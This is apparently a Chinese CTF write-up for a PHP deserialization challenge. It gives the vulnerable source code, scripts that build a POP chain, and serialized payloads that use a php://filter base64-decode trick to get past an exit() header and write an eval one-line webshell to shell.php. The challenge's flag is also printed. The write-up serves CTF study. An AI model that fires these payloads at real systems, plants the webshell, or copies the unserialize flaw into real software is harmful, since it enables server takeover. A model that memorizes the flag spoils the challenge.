【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门

题目

此题目来源于投稿

PHP Web 应用里的 FileCache 类被反序列化触发写文件时,非要在内容开头加句exit;搞破坏,导致代码没法执行,快想办法躲开这个 "拦路虎"

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AuditLog {
    public $handler;

    public function __construct() {
        $this->handler = new SystemStatus();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache { 
    public $filePath; 
    public $content; 
    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        
        return "Cache Saved.";
    }
}

class SystemStatus {
    public function process() {
        if(file_exists('./system_config.php')) {
            include('./system_config.php');
        }
        return "System logic normal.";
    }
}


$payload = $_POST['data']; 

if(isset($payload)){
    echo unserialize($payload);
}
else{
    echo "Invalid data stream.";
}
?> Invalid data stream.

解题过程

POP 链初步测试:触发默认返回值

触发 SystemStatus::process () 返回

构造序列化 payload,使 AuditLog 的 handler 指向 SystemStatus 对象。

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class SystemStatus {}

$obj = new AuditLog();
$obj->handler = new SystemStatus();

echo serialize($obj);
?>

生成 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:12:"SystemStatus":0:{}}

POST 提交data参数,页面输出:System logic normal.

触发 FileCache::process () 返回

构造序列化 payload,使 AuditLog 的 handler 指向 FileCache 对象。

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();
// 随便赋值,不影响return
$obj->handler->filePath = "test.php";
$obj->handler->content = "test";

echo serialize($obj);
?>

生成 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:8:"test.php";s:7:"content";s:4:"test";}}

POST 提交后输出:Cache Saved.

绕过死亡头部:php://filter + Base64 写入

直接写入 PHP 代码会被前置的<?php exit();?>拦截,使用 Base64 解码流绕过。

写入 phpinfo 测试

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "PD9waHAgcGhwaW5mbygpOz8+";

echo serialize($obj);
?>
  1. 写入 phpinfo 测试
bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:24:"PD9waHAgcGhwaW5mbygpOz8+";}}

直接访问shell.php出现乱码,原因:前置死亡代码污染 Base64 解码。

解决乱码问题

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgcGhwaW5mbygpOz8+";

echo serialize($obj);
?>
bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:27:"AAAPD9waHAgcGhwaW5mbygpOz8+";}}

终极解决:Base64 长度对齐(解决乱码)

前置字符串长度不满足 Base64 对齐规则,补充字符修正长度,实现纯净写入。

一句话木马编码

bash 复制代码
<?php @eval($_POST[cmd]); ?>

Base64 编码:

bash 复制代码
PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==

构造最终 Payload

python 复制代码
<?php
class AuditLog {
    public $handler;
}
class FileCache {
    public $filePath;
    public $content;
}

$obj = new AuditLog();
$obj->handler = new FileCache();

// 核心:使用 php://filter 流写入
$obj->handler->filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
// 写入纯base64编码的phpinfo (<?php phpinfo();
$obj->handler->content = "AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";

echo serialize($obj);
?>

最终 Payload:

bash 复制代码
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:7:"content";s:43:"AAAPD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==";}}

POST 提交data参数,页面输出:Cache Saved.

连接 Webshell 获得 Flag

答案

qsnctf{177cc428697e461da33a0e8861759e94}

相关推荐
kali-Myon7 天前
分享一个网络安全 AI 工具导航项目 SecSkills
安全·ai·github·ctf
蒲公英eric8 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
白猫不黑9 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
玫幽倩10 天前
2026第二届湾区杯网络安全大赛决赛(AI专项赛道静态题wp)
pytorch·python·ai·agent·ctf·rag·湾区杯
落寞的魚丶12 天前
2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
ctf·鱼影安全·2026网络安全通信行业·信息安全测试员竞赛·通信职业技能大赛
合天网安实验室17 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp18 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric18 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
蒲公英eric20 天前
从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·授权绕过模块
Sagittarius_A*21 天前
[LitCTF 2026] lit_elgamal_handshake
密码学·ctf·crypto·elgamal